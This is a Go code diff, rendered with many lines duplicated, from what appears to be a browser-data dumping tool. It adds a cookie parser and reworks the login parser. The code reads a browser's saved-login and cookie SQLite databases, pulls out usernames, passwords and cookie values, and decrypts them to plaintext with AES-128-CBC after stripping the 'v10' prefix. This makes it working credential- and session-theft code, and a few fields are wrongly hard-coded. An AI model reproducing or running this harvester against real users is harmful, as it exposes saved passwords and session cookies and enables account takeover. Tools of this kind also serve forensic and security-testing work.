|
|
@ -19,6 +19,7 @@ const ( |
|
|
|
var ( |
|
|
|
var ( |
|
|
|
browserData = new(BrowserData) |
|
|
|
browserData = new(BrowserData) |
|
|
|
bookmarkList []*Bookmarks |
|
|
|
bookmarkList []*Bookmarks |
|
|
|
|
|
|
|
cookieList []*Cookies |
|
|
|
) |
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
const ( |
|
|
|
const ( |
|
|
@ -30,6 +31,10 @@ const ( |
|
|
|
bookmarkChildren = "children" |
|
|
|
bookmarkChildren = "children" |
|
|
|
) |
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
const ( |
|
|
|
|
|
|
|
queryHistory = `` |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
type ( |
|
|
|
type ( |
|
|
|
BrowserData struct { |
|
|
|
BrowserData struct { |
|
|
|
BrowserName string |
|
|
|
BrowserName string |
|
|
@ -37,11 +42,11 @@ type ( |
|
|
|
Bookmarks []*Bookmarks |
|
|
|
Bookmarks []*Bookmarks |
|
|
|
} |
|
|
|
} |
|
|
|
LoginData struct { |
|
|
|
LoginData struct { |
|
|
|
UserName string |
|
|
|
UserName string `json:"user_name"` |
|
|
|
encryptPass []byte |
|
|
|
encryptPass []byte `json:"-"` |
|
|
|
Password string |
|
|
|
Password string `json:"password"` |
|
|
|
LoginUrl string |
|
|
|
LoginUrl string `json:"login_url"` |
|
|
|
CreateDate time.Time |
|
|
|
CreateDate time.Time `json:"create_date"` |
|
|
|
} |
|
|
|
} |
|
|
|
Bookmarks struct { |
|
|
|
Bookmarks struct { |
|
|
|
ID string `json:"id"` |
|
|
|
ID string `json:"id"` |
|
|
@ -50,7 +55,18 @@ type ( |
|
|
|
Name string `json:"name"` |
|
|
|
Name string `json:"name"` |
|
|
|
Type string `json:"type"` |
|
|
|
Type string `json:"type"` |
|
|
|
} |
|
|
|
} |
|
|
|
Cookie struct { |
|
|
|
Cookies struct { |
|
|
|
|
|
|
|
KeyName string |
|
|
|
|
|
|
|
encryptValue []byte |
|
|
|
|
|
|
|
Value string |
|
|
|
|
|
|
|
Host string |
|
|
|
|
|
|
|
Path string |
|
|
|
|
|
|
|
IsSecure bool |
|
|
|
|
|
|
|
IsHTTPOnly bool |
|
|
|
|
|
|
|
HasExpire bool |
|
|
|
|
|
|
|
IsPersistent bool |
|
|
|
|
|
|
|
CreateDate time.Time |
|
|
|
|
|
|
|
ExpireDate time.Time |
|
|
|
} |
|
|
|
} |
|
|
|
History struct { |
|
|
|
History struct { |
|
|
|
} |
|
|
|
} |
|
|
@ -68,7 +84,10 @@ func ParseDB(dbname string) { |
|
|
|
} |
|
|
|
} |
|
|
|
case utils.Bookmarks: |
|
|
|
case utils.Bookmarks: |
|
|
|
parseBookmarks() |
|
|
|
parseBookmarks() |
|
|
|
|
|
|
|
case utils.Cookies: |
|
|
|
|
|
|
|
parseCookie() |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func parseBookmarks() { |
|
|
|
func parseBookmarks() { |
|
|
@ -80,47 +99,29 @@ func parseBookmarks() { |
|
|
|
if r.Exists() { |
|
|
|
if r.Exists() { |
|
|
|
roots := r.Get("roots") |
|
|
|
roots := r.Get("roots") |
|
|
|
roots.ForEach(func(key, value gjson.Result) bool { |
|
|
|
roots.ForEach(func(key, value gjson.Result) bool { |
|
|
|
getBookmarkValue(value) |
|
|
|
getBookmarkChildren(value) |
|
|
|
return true |
|
|
|
return true |
|
|
|
}) |
|
|
|
}) |
|
|
|
fmt.Println(len(bookmarkList)) |
|
|
|
fmt.Println(len(bookmarkList)) |
|
|
|
} |
|
|
|
} |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func getBookmarkValue(value gjson.Result) (children gjson.Result) { |
|
|
|
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` |
|
|
|
b := new(Bookmarks) |
|
|
|
|
|
|
|
b.ID = value.Get(bookmarkID).String() |
|
|
|
|
|
|
|
nodeType := value.Get(bookmarkType) |
|
|
|
|
|
|
|
b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) |
|
|
|
|
|
|
|
b.URL = value.Get(bookmarkUrl).String() |
|
|
|
|
|
|
|
b.Name = value.Get(bookmarkName).String() |
|
|
|
|
|
|
|
children = value.Get(bookmarkChildren) |
|
|
|
|
|
|
|
if nodeType.Exists() { |
|
|
|
|
|
|
|
b.Type = nodeType.String() |
|
|
|
|
|
|
|
bookmarkList = append(bookmarkList, b) |
|
|
|
|
|
|
|
if children.Exists() && children.IsArray() { |
|
|
|
|
|
|
|
for _, v := range children.Array() { |
|
|
|
|
|
|
|
children = getBookmarkValue(v) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return children |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func parseLogin() (results []*LoginData, err error) { |
|
|
|
func parseLogin() (results []*LoginData, err error) { |
|
|
|
//datetime(visit_time / 1000000 + (strftime('%s', '1601-01-01')), 'unixepoch')
|
|
|
|
//datetime(visit_time / 1000000 + (strftime('%s', '1601-01-01')), 'unixepoch')
|
|
|
|
loginD := &LoginData{} |
|
|
|
login := &LoginData{} |
|
|
|
logins, err := sql.Open("sqlite3", utils.LoginData) |
|
|
|
loginDB, err := sql.Open("sqlite3", utils.LoginData) |
|
|
|
defer func() { |
|
|
|
defer func() { |
|
|
|
if err := logins.Close(); err != nil { |
|
|
|
if err := loginDB.Close(); err != nil { |
|
|
|
log.Println(err) |
|
|
|
log.Println(err) |
|
|
|
} |
|
|
|
} |
|
|
|
}() |
|
|
|
}() |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Println(err) |
|
|
|
log.Println(err) |
|
|
|
} |
|
|
|
} |
|
|
|
err = logins.Ping() |
|
|
|
err = loginDB.Ping() |
|
|
|
rows, err := logins.Query(`SELECT origin_url, username_value, password_value, date_created FROM logins`) |
|
|
|
rows, err := loginDB.Query(queryLogin) |
|
|
|
defer func() { |
|
|
|
defer func() { |
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
log.Println(err) |
|
|
|
log.Println(err) |
|
|
@ -128,39 +129,99 @@ func parseLogin() (results []*LoginData, err error) { |
|
|
|
}() |
|
|
|
}() |
|
|
|
for rows.Next() { |
|
|
|
for rows.Next() { |
|
|
|
var ( |
|
|
|
var ( |
|
|
|
url string |
|
|
|
url, username, password string |
|
|
|
username string |
|
|
|
|
|
|
|
pwd []byte |
|
|
|
pwd []byte |
|
|
|
password string |
|
|
|
|
|
|
|
create int64 |
|
|
|
create int64 |
|
|
|
) |
|
|
|
) |
|
|
|
err = rows.Scan(&url, &username, &pwd, &create) |
|
|
|
err = rows.Scan(&url, &username, &pwd, &create) |
|
|
|
loginD = &LoginData{ |
|
|
|
login = &LoginData{ |
|
|
|
UserName: username, |
|
|
|
UserName: username, |
|
|
|
encryptPass: pwd, |
|
|
|
encryptPass: pwd, |
|
|
|
LoginUrl: url, |
|
|
|
LoginUrl: url, |
|
|
|
CreateDate: utils.TimeEpochFormat(create), |
|
|
|
CreateDate: utils.TimeEpochFormat(create), |
|
|
|
} |
|
|
|
} |
|
|
|
if len(pwd) > 3 { |
|
|
|
if len(pwd) > 3 { |
|
|
|
|
|
|
|
// remove prefix 'v10'
|
|
|
|
|
|
|
|
password, err = utils.Aes128CBCDecrypt(pwd[3:]) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
login.Password = password |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Println(err) |
|
|
|
log.Println(err) |
|
|
|
continue |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
password, err = utils.Aes128CBCDecrypt(pwd[3:]) |
|
|
|
results = append(results, login) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` |
|
|
|
|
|
|
|
func parseCookie() (results []*Cookies, err error) { |
|
|
|
|
|
|
|
cookies := &Cookies{} |
|
|
|
|
|
|
|
cookieDB, err := sql.Open("sqlite3", utils.Cookies) |
|
|
|
|
|
|
|
defer func() { |
|
|
|
|
|
|
|
if err := cookieDB.Close(); err != nil { |
|
|
|
|
|
|
|
log.Println(err) |
|
|
|
} |
|
|
|
} |
|
|
|
loginD.Password = password |
|
|
|
}() |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Println(err) |
|
|
|
log.Println(err) |
|
|
|
} |
|
|
|
} |
|
|
|
results = append(results, loginD) |
|
|
|
err = cookieDB.Ping() |
|
|
|
|
|
|
|
rows, err := cookieDB.Query(queryCookie) |
|
|
|
|
|
|
|
defer func() { |
|
|
|
|
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
|
|
|
|
log.Println(err) |
|
|
|
} |
|
|
|
} |
|
|
|
return |
|
|
|
}() |
|
|
|
|
|
|
|
for rows.Next() { |
|
|
|
|
|
|
|
var ( |
|
|
|
|
|
|
|
key, host, path, value string |
|
|
|
|
|
|
|
isSecure, isHTTPOnly, hasExpire, isPersistent bool |
|
|
|
|
|
|
|
createDate, expireDate int64 |
|
|
|
|
|
|
|
encryptValue []byte |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) |
|
|
|
|
|
|
|
cookies = &Cookies{ |
|
|
|
|
|
|
|
KeyName: key, |
|
|
|
|
|
|
|
Host: host, |
|
|
|
|
|
|
|
Path: path, |
|
|
|
|
|
|
|
encryptValue: encryptValue, |
|
|
|
|
|
|
|
IsSecure: false, |
|
|
|
|
|
|
|
IsHTTPOnly: false, |
|
|
|
|
|
|
|
HasExpire: false, |
|
|
|
|
|
|
|
IsPersistent: isPersistent, |
|
|
|
|
|
|
|
CreateDate: utils.TimeEpochFormat(createDate), |
|
|
|
|
|
|
|
ExpireDate: utils.TimeEpochFormat(expireDate), |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if len(encryptValue) > 3 { |
|
|
|
|
|
|
|
// remove prefix 'v10'
|
|
|
|
|
|
|
|
value, err = utils.Aes128CBCDecrypt(encryptValue[3:]) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
cookies.Value = value |
|
|
|
|
|
|
|
cookieList = append(cookieList, cookies) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return cookieList, err |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func parseHistory() { |
|
|
|
func parseHistory() { |
|
|
|
|
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func parseCookie() { |
|
|
|
func getBookmarkChildren(value gjson.Result) (children gjson.Result) { |
|
|
|
|
|
|
|
b := new(Bookmarks) |
|
|
|
|
|
|
|
b.ID = value.Get(bookmarkID).String() |
|
|
|
|
|
|
|
nodeType := value.Get(bookmarkType) |
|
|
|
|
|
|
|
b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) |
|
|
|
|
|
|
|
b.URL = value.Get(bookmarkUrl).String() |
|
|
|
|
|
|
|
b.Name = value.Get(bookmarkName).String() |
|
|
|
|
|
|
|
children = value.Get(bookmarkChildren) |
|
|
|
|
|
|
|
if nodeType.Exists() { |
|
|
|
|
|
|
|
b.Type = nodeType.String() |
|
|
|
|
|
|
|
bookmarkList = append(bookmarkList, b) |
|
|
|
|
|
|
|
if children.Exists() && children.IsArray() { |
|
|
|
|
|
|
|
for _, v := range children.Array() { |
|
|
|
|
|
|
|
children = getBookmarkChildren(v) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return children |
|
|
|
} |
|
|
|
} |
|
|
|